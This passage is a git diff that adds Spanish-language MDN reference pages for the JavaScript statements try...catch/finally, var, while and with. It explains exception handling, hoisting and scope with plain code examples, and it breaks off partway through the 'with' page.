+<p>Cuando una excepción es lanzada en el bloque <code>try</code>, <code><em>exception_var</em></code> (por ejemplo, la <code>e</code> en <code>catch (e)</code>) guarda el valor de la excepción. Se puede usar éste identificador para obtener información acerca de la excepción que fue lanzada. Este valor está solo disponible en el {{Glossary("Scope", "scope")}} de el bloque<code> catch.</code></p>
+
+<pre class="brush: js">function isValidJSON(text) {
+  try {
+    JSON.parse(text);
+    return true;
+  } catch {
+    return false;
+  }
+}</pre>
+
+<h3 id="The_finally_clause" name="The_finally_clause">La cláusula <code>finally</code></h3>
+
+<p>La cláusula <code>finally</code> contiene sentencias a ejecutarse después de que las cláusulas <code>try</code> y <code>catch</code> se ejecuten, pero antes de las sentencias que le siguen al bloque <code>try..catch..finally</code>. Note que la cláusula <code>finally</code> se ejecuta sin importar si una excepción es o no lanzada. Si una excepción es lanzada, las instrucciones en la cláusula <code>finally</code> se ejecutan incluso si ninguna cláusula <code>catch</code> maneja la excepción.</p>
+
+<p>Usted puede usar la cláusula finally para hacer que su script falle plácidamente cuando una excepción ocurra; por ejemplo, para hacer una limpieza general, usted puede necesitar liberar un recurso que su script haya retenido.</p>
+
+<p>Puede parecer extraño tener una cláusula relacionada a una excepción que se ejecuta sin importar si hay una excepción o no, pero esta concepción en realidad sirve a un propósito. El punto importante no es que la cláusula <code>finally</code> siempre se ejecuta, si no más bien que el codigo ordinario que le sigue a <code>try..catch</code> no.</p>
+
+<p>Por ejemplo, si otra excepción ocurre dentro de un bloque <code>catch</code> de una declaración <code>try</code>, cualquier codigo restante en el mismo bloque exterior <code>try</code> que encierra ese <code>try..catch</code> (o en el flujo principal, si no es un bloque <code>try</code> exterior) , no será ejecutado, dado que el control es inmediatamente transferido al bloque <code>catch</code> del <code>try</code> exterior (o el generador de error interno, si no es en un bloque <code>try</code>).</p>
+
+<p>Por lo tanto, cualquier rutina de limpieza hecha en esa sección encerrada (o la principal) antes de que exista, será saltada. Sin embargo, si la declaración <code>try</code> tiene un bloque <code>finally</code>, entonces el código de ese bloque <code>finally</code> será ejecutado primero para permitir tal limpieza, y ENTONCES el bloque <code>catch</code> de la otra declaración <code>try</code> (o el generador de error) tomará el control para manejar la segunda excepción.</p>
+
+<p>Ahora, si esa rutina de limpieza debiera ser hecha ya sea que el código del <code>try..catch</code> tenga éxito o no, entonces si el bloque <code>finally</code> se ejecutase solo después de una excepción, el mismo código de limpieza tendría que estar presente dentro y fuera del bloque <code>finally</code>, y por lo tanto no hay razón para no tener el bloque <code>finally</code> solo, y dejarlo ejecutarse sin importar si hay excepciones o no.</p>
+
+<p>El siguiente ejemplo abre un archivo y despues ejecuta sentencias que usan el archivo (JavaScript del lado del servidor permite acceder a archivos). Si una excepción es lanzada mientras el archivo está abierto, la cláusula <code>finally</code> cierra el archivo antes de que el script falle. El código en <code>finally</code> también se ejecuta después de un retorno explícito de los bloques <code>try</code> o <code>catch</code>.</p>
+
+<pre class="brush: js">openMyFile()
+try {
+   // retiene un recurso
+   writeMyFile(theData);
+}
+finally {
+   closeMyFile(); // siempre cierra el recurso
+}
+</pre>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="The_finally_clause" name="The_finally_clause">Bloques try anidados</h3>
+
+<p>Primero, veamos que pasa con esto:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">try</span> <span class="punctuation token">{</span>
+    <span class="keyword token">throw</span> <span class="keyword token">new</span> <span class="class-name token">Error</span><span class="punctuation token">(</span><span class="string token">'oops'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">finally</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'finally'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+<span class="keyword token">catch</span> <span class="punctuation token">(</span><span class="class-name token">ex</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'outer'</span><span class="punctuation token">,</span> ex<span class="punctuation token">.</span>message<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">// Output:</span>
+<span class="comment token">// "finally"</span>
+<span class="comment token">// "outer" "oops"</span></code></pre>
+
+<p>Ahora, si nosotros ya capturamos la excepción en una declaración try interna agregando un bloque catch.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">try</span> <span class="punctuation token">{</span>
+    <span class="keyword token">throw</span> <span class="keyword token">new</span> <span class="class-name token">Error</span><span class="punctuation token">(</span><span class="string token">'oops'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">catch</span> <span class="punctuation token">(</span><span class="class-name token">ex</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'inner'</span><span class="punctuation token">,</span> ex<span class="punctuation token">.</span>message<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">finally</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'finally'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+<span class="keyword token">catch</span> <span class="punctuation token">(</span><span class="class-name token">ex</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'outer'</span><span class="punctuation token">,</span> ex<span class="punctuation token">.</span>message<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">// Output:</span>
+<span class="comment token">// "inner" "oops"</span>
+<span class="comment token">// "finally"</span></code></pre>
+
+<p>Y ahora vamos a relanzar el error.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">try</span> <span class="punctuation token">{</span>
+    <span class="keyword token">throw</span> <span class="keyword token">new</span> <span class="class-name token">Error</span><span class="punctuation token">(</span><span class="string token">'oops'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">catch</span> <span class="punctuation token">(</span><span class="class-name token">ex</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'inner'</span><span class="punctuation token">,</span> ex<span class="punctuation token">.</span>message<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">throw</span> ex<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">finally</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'finally'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+<span class="keyword token">catch</span> <span class="punctuation token">(</span><span class="class-name token">ex</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'outer'</span><span class="punctuation token">,</span> ex<span class="punctuation token">.</span>message<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">// Output:</span>
+<span class="comment token">// "inner" "oops"</span>
+<span class="comment token">// "finally"</span>
+<span class="comment token">// "outer" "oops"</span></code></pre>
+
+<p>Cualquier excepción dad será capturada solo una vez por el bloque catch más cercano a menos que sea relanzado. Por supuesto cualquier nueva excepción que se origine en el bloque 'interno' (porque el código en el bloque catch puede hacer algo que lanze un error), será capturado por el bloque 'externo'.</p>
+
+<h3 id="Retornando_de_un_bloque_finally">Retornando de un bloque finally</h3>
+
+<p>Si el bloque <code>finally</code> retorna un valor, este valor se convierte en el valor de retorno de toda la producción <code>try-catch-finally</code>, a pesar de cualquier sentencia <code>return</code> en los bloques <code>try</code> y <code>catch</code>. Esto incluye excepciones lanzadas dentro del bloque catch.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">try</span> <span class="punctuation token">{</span>
+    <span class="keyword token">try</span> <span class="punctuation token">{</span>
+      <span class="keyword token">throw</span> <span class="keyword token">new</span> <span class="class-name token">Error</span><span class="punctuation token">(</span><span class="string token">'oops'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+    <span class="keyword token">catch</span> <span class="punctuation token">(</span><span class="class-name token">ex</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'inner'</span><span class="punctuation token">,</span> ex<span class="punctuation token">.</span>message<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">throw</span> ex<span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+    <span class="keyword token">finally</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'finally'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">return</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">catch</span> <span class="punctuation token">(</span><span class="class-name token">ex</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'outer'</span><span class="punctuation token">,</span> ex<span class="punctuation token">.</span>message<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Output:</span>
+<span class="comment token">// "inner" "oops"</span>
+<span class="comment token">// "finally"</span></code></pre>
+
+<p>El "oops" externo no es lanzado debido al retorno en el bloque finally. Lo mismo aplicaría para cualquier valor retornado del bloque catch.</p>
+
+<p>Vea los ejemplos para {{jsxref("Sentencias/throw", "throw")}}.</p>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("Sentencias/throw", "throw")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/var/index.html b/files/es/web/javascript/referencia/sentencias/var/index.html
new file mode 100644
index 0000000000..006e40a270
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/var/index.html
@@ -0,0 +1,163 @@
+---
+title: var
+slug: Web/JavaScript/Referencia/Sentencias/var
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/var
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La sentencia <strong><code>var</code></strong> declara una variable, opcionalmente inicializándola con un valor.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><strong>var</strong> <em>nombreDeVariable1 [= valor1] [, nombreDeVariable2 [= valor2] ... [, nombreDeVariableN [=valorN]]]; </em></code></pre>
+
+<dl>
+ <dt><code>nombreDeVariableN</code></dt>
+ <dd>Representa el nombre que el programador da a la variable. Puede ser cualquier identificador legal.</dd>
+</dl>
+
+<dl>
+ <dt><code>valorN</code></dt>
+ <dd>Valor inicial de la variable. Puede ser cualquier expresión legal. El valor predeterminado es <em>undefined</em> (en español, <em>indefinida</em>).</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Las  declaraciones de variables, donde sea que ocurran, son procesadas antes de que cualquier otro código sea ejecutado. El ámbito de una variable declarada con la palabra reservada <strong><code>var</code></strong> es su <em>contexto de ejecución</em> en curso<em>,</em> que puede ser la función que la contiene o, para las variables declaradas afuera de cualquier función, un ámbito global. Si re-declaras una variable Javascript, esta no perderá su valor.</p>
+
+<p>Asignar un valor a una variable no declarada implica crearla como variable global (se convierte en una propiedad del objeto global) cuando la asignación es ejecutada. Las diferencias entre una variable declarada y otra sin declarar son:</p>
+
+<p>1. Las variables declaradas se limitan al contexto de ejecución en el cual son declaradas. Las variables no declaradas siempre son globales.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">x</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  y <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span>   <span class="comment token">// Lanza un error de tipo "ReferenceError" en modo estricto ('use strict')</span>
+  <span class="keyword token">var</span> z <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="function token">x</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>y<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Imprime "1" </span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>z<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Lanza un error de tipo "ReferenceError": z no está definida afuera de x</span></code></pre>
+
+<p>2. Las variables declaradas son creadas antes de ejecutar cualquier otro código. Las variables sin declarar no existen hasta que el código que las asigna es ejecutado.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>a<span class="punctuation token">)</span><span class="punctuation token">;</span>                <span class="comment token">// Lanza un error de tipo "ReferenceError".</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'trabajando...'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Nunca se ejecuta.</span></code></pre>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> a<span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>a<span class="punctuation token">)</span><span class="punctuation token">;</span>                <span class="comment token">// Imprime "undefined" o "" dependiendo del navegador.</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'trabajando...'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Imprime "</span><span class="string token">trabajando</span><span class="comment token">...".</span></code></pre>
+
+<p>3. Las variables declaradas son una propiedad no-configurable de su contexto de ejecución (de función o global). Las variables sin declarar son configurables (p. ej. pueden borrarse).</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> a <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span>
+b <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span>
+
+<span class="keyword token">delete</span> <span class="keyword token">this</span><span class="punctuation token">.</span>a<span class="punctuation token">;</span> <span class="comment token">// Lanza un error de tipo "ReferenceError" en modo estricto ('use strict'), de lo contrario falla silenciosamente.</span>
+<span class="keyword token">delete</span> <span class="keyword token">this</span><span class="punctuation token">.</span>b<span class="punctuation token">;</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>a<span class="punctuation token">,</span> b<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Lanza un error de tipo "ReferenceError". </span>
+<span class="comment token">// La propiedad 'b' se eliminó y ya no existe.</span></code></pre>
+
+<p>Debido a esas tres diferencias, fallar al declarar variables muy probablemente llevará a resultados inesperados. Por tanto <strong>se recomienda siempre declarar las variables, sin importar si están en una función o un ámbito global</strong>. Y en el modo estricto (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict mode</a>) de ECMAScript 5, asignar valor a una variable sin declarar lanzará un error.</p>
+
+<h3 id="Elevación_de_variables">Elevación de variables</h3>
+
+<p>Como la declaración de variables (y todas las declaraciones en general) se procesa antes de ejecutar cualquier código, declarar una variable en cualquier parte del código es equivalente a declararla al inicio del mismo. Esto también significa que una variable puede parecer usarse antes de ser declarada. Este comportamiento es llamado <em>hoisting </em>(del inglés "elevación"), ya que la declaración de una variable parecer haber sido movida a la cima de la función o código global.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">bla <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> bla<span class="punctuation token">;</span>
+<span class="comment token">// ...</span>
+
+<span class="comment token">// Es entendido implicitamente como:</span>
+
+<span class="keyword token">var</span> bla<span class="punctuation token">;</span>
+bla <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span></code></pre>
+
+<p>Por esa razón, se recomienda siempre declarar variables al inicio de su ámbito (la cima del código global y la cima del código de función) para que sea claro cuáles variables pertenecen al ámbito de función (local) y cuáles son resueltas en la cadena de ámbito.</p>
+
+<p>Es importante señalar que <strong>la elevación afectará la declaración</strong> de variables, pero <strong>no su inicialización</strong>. El valor será asignado precisamente cuando la sentencia de asignación sea alcanzada:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">haz_algo</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>bar<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// undefined (valor indefinido)</span>
+  <span class="keyword token">var</span> bar <span class="operator token">=</span> <span class="number token">111</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>bar<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 111</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">// Se entiende implícitamente como: </span>
+<span class="keyword token">function</span> <span class="function token">haz_algo</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> bar<span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>bar<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// undefined (valor indefinido)</span>
+  bar <span class="operator token">=</span> <span class="number token">111</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>bar<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 111</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p> </p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Declarando_e_inicializando_dos_variables">Declarando e inicializando dos variables</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> a <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">,</span> b <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Asignando_dos_variables_con_un_solo_valor_de_cadena">Asignando dos variables con un solo valor de cadena</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> a <span class="operator token">=</span> <span class="string token">'A'</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> b <span class="operator token">=</span> a<span class="punctuation token">;</span>
+
+<span class="comment token">// Equivalente a:</span>
+
+<span class="keyword token">var</span> a<span class="punctuation token">,</span> b <span class="operator token">=</span> a <span class="operator token">=</span> <span class="string token">'A'</span><span class="punctuation token">;</span></code></pre>
+
+<p>Sé consciente del orden:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> x <span class="operator token">=</span> y<span class="punctuation token">,</span> y <span class="operator token">=</span> <span class="string token">'A'</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>x <span class="operator token">+</span> y<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Imprimirá "undefinedA"</span></code></pre>
+
+<p>Aquí, '<code>x</code>' &amp; '<code>y</code>' son declaradas antes de ejecutarse cualquier código, y la asignación ocurre después. Al momento de evaluar "<code>x = y</code>", '<code>y</code>' existe así que ningún error "<code>ReferenceError</code>" es lanzado y su valor es '<code>undefined</code>', de modo que '<code>x</code>' también tiene asignada el valor '<code>undefined</code>'. Después, a 'y' se le asigna el valor 'A'. Consecuentemente, luego de la primera línea, '<code>x</code>' es exactamente igual a <code>'undefined</code>' &amp; '<code>y</code>' es igual a <code>'A'</code>, de ahí el resultado.</p>
+
+<h3 id="Initialización_de_muchas_variables">Initialización de muchas variables</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> x <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">f</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> x <span class="operator token">=</span> y <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span> <span class="comment token">// 'x' es declarada localmente, ¡'y' no lo es!</span>
+<span class="punctuation token">}</span>
+<span class="function token">f</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>x<span class="punctuation token">,</span> y<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Lanza un error de tipo "ReferenceError" en modo estricto ('y' no está definida). De lo contrario se imprimiría "0, 1".</span>
+<span class="comment token">// En modo no-estricto:</span>
+<span class="comment token">// 'x' es la variable global como se esperaría</span>
+<span class="comment token">// 'y' sin embargo, se sale de la función</span></code></pre>
+
+<h3 id="Globales_implícitas_y_ámbito_externo_a_una_función">Globales implícitas y ámbito externo a una función</h3>
+
+<p>Las variables que parecen ser globales implícitas pueden ser referencias a variables en un ámbito externo a  la función:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> x <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span>  <span class="comment token">// 'x' es declarada globalmente, luego se le asigna el valor 0</span>.
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="keyword token">typeof</span> z<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Imprime "undefined", pues 'z' aún no existe</span>.
+
+<span class="keyword token">function</span> <span class="function token">a</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">// Cuando 'a()' es invocada,</span>
+  <span class="keyword token">var</span> y <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span>   <span class="comment token">// 'y' es declarada localmente en la function 'a()', después se le asigna el valor 2</span>.
+
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>x<span class="punctuation token">,</span> y<span class="punctuation token">)</span><span class="punctuation token">;</span>   <span class="comment token">// Imprime "0, 2</span>".
+
+  <span class="keyword token">function</span> <span class="function token">b</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>       <span class="comment token">// Cuando 'b()' es invocada,</span>
+    x <span class="operator token">=</span> <span class="number token">3</span><span class="punctuation token">;</span>  <span class="comment token">// Asigna el valor 3 a la global 'x' ya existente, no crea una nueva variable global.</span>
+    y <span class="operator token">=</span> <span class="number token">4</span><span class="punctuation token">;</span>  <span class="comment token">// Asigna 4 a la externa existente 'y', no crea una nueva variable global.</span>
+    z <span class="operator token">=</span> <span class="number token">5</span><span class="punctuation token">;</span>  <span class="comment token">// Crea una nueva variable global 'z' y le asigna un valor de 5. </span>
+  <span class="punctuation token">}</span>         <span class="comment token">// (Lanza un error de tipo "ReferenceError" en modo estricto.)</span>
+
+  <span class="function token">b</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>     <span class="comment token">// Invocar 'b()' crea 'z' como variable global.</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>x<span class="punctuation token">,</span> y<span class="punctuation token">,</span> z<span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// Imprime "3, 4, 5</span>".
+<span class="punctuation token">}</span>
+
+<span class="function token">a</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>                   <span class="comment token">// Invocar 'a()' también llama a 'b</span>()'.
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>x<span class="punctuation token">,</span> z<span class="punctuation token">)</span><span class="punctuation token">;</span>     <span class="comment token">// Imprime "3, 5</span>", porque 'z' ya es una global.
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="keyword token">typeof</span> y<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Imprime 'undefined' porque 'y' es local en la función 'a()'</span></code></pre>
diff --git a/files/es/web/javascript/referencia/sentencias/while/index.html b/files/es/web/javascript/referencia/sentencias/while/index.html
new file mode 100644
index 0000000000..8eab047884
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/while/index.html
@@ -0,0 +1,58 @@
+---
+title: while
+slug: Web/JavaScript/Referencia/Sentencias/while
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/while
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Crea un bucle que ejecuta una sentencia especificada mientras cierta condición se evalúe como verdadera. Dicha condición es evaluada antes de ejecutar la sentencia</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval">while (<em>condicion</em>)
+  <em>sentencia</em>
+</pre>
+
+<dl>
+ <dt><code>condicion</code></dt>
+ <dd>Una expresión que se evalúa antes de cada paso del bucle. Si esta condición se evalúa como verdadera, se ejecuta <code>sentencia</code>. Cuando la condición se evalúa como false, la ejecución continúa con la <code>sentencia </code>posterior al bucle <code>while</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>sentencia</code></dt>
+ <dd>Una sentecia que se ejecuta mientras la condición se evalúa como verdadera. Para ejecutar múltiples sentencias dentro de un bucle, utiliza una sentencia {{jsxref("Sentencias/block", "block")}} (<code>{ ... }</code>) para agrupar esas sentencias.</dd>
+</dl>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<p>El siguiente bucle <code>while</code> itera mientras <code>n</code> es menor que tres.</p>
+
+<pre class="brush: js">n = 0;
+x = 0;
+while (n &lt; 3) {
+  n ++;
+  x += n;
+}
+</pre>
+
+<p>Cada interación, el bucle incrementa <code>n</code> y la añade a <code>x</code>. Por lo tanto, <code>x</code> y <code>n</code> toman los siguientes valores:</p>
+
+<ul>
+ <li>Después del primer pase: <code>n</code> = 1 y <code>x</code> = 1</li>
+ <li>Después del segundo pase: <code>n</code> = 2 y <code>x</code> = 3</li>
+ <li>Después del tercer pase: <code>n</code> = 3 y <code>x</code> = 6</li>
+</ul>
+
+<p>Después de completar el tercer pase, la condición <code>n</code> &lt; 3 no será verdadera más tiempo, por lo que el bucle terminará.</p>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("Sentencias/do...while", "do...while")}}</li>
+ <li>{{jsxref("Sentencias/for", "for")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/with/index.html b/files/es/web/javascript/referencia/sentencias/with/index.html
new file mode 100644
index 0000000000..d5dc78d600
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/with/index.html
@@ -0,0 +1,166 @@
+---
+title: with
+slug: Web/JavaScript/Referencia/Sentencias/with
+translation_of: Web/JavaScript/Reference/Statements/with
+---
+<div class="warning">El uso de la declaración no es recomendado,  ya que puede ser el origen de los errores de confusión y problemas de compatibilidad. See the "Ambiguity Con" paragraph in the "Description" section below for details.</div>
+
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La <strong>sentencia with</strong> extiende el alcance de una cadena con la declaración.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">with (expresión) {
+  <em>declaración</em>
+}
+</pre>
+
+<dl>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">expresión</font></dt>
+ <dd>Añade la expresión dada a la declaración. Los parentesis alrededor de la expresión son necesarios.</dd>
+ <dt><code>declaración</code></dt>
+ <dd>Se puede ejecutar cualquier declaración. Para ejecutar varias declaraciónes, utilizar una declaración de bloque ({ ... }) para agrupar esas declaraciónes.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>JavaScript looks up an unqualified name by searching a scope chain associated with the execution context of the script or function containing that unqualified name. The 'with' statement adds the given object to the head of this scope chain during the evaluation of its statement body. If an unqualified name used in the body matches a property in the scope chain, then the name is bound to the property and the object containing the property. Otherwise a {{jsxref("ReferenceError")}} is thrown.</p>
+
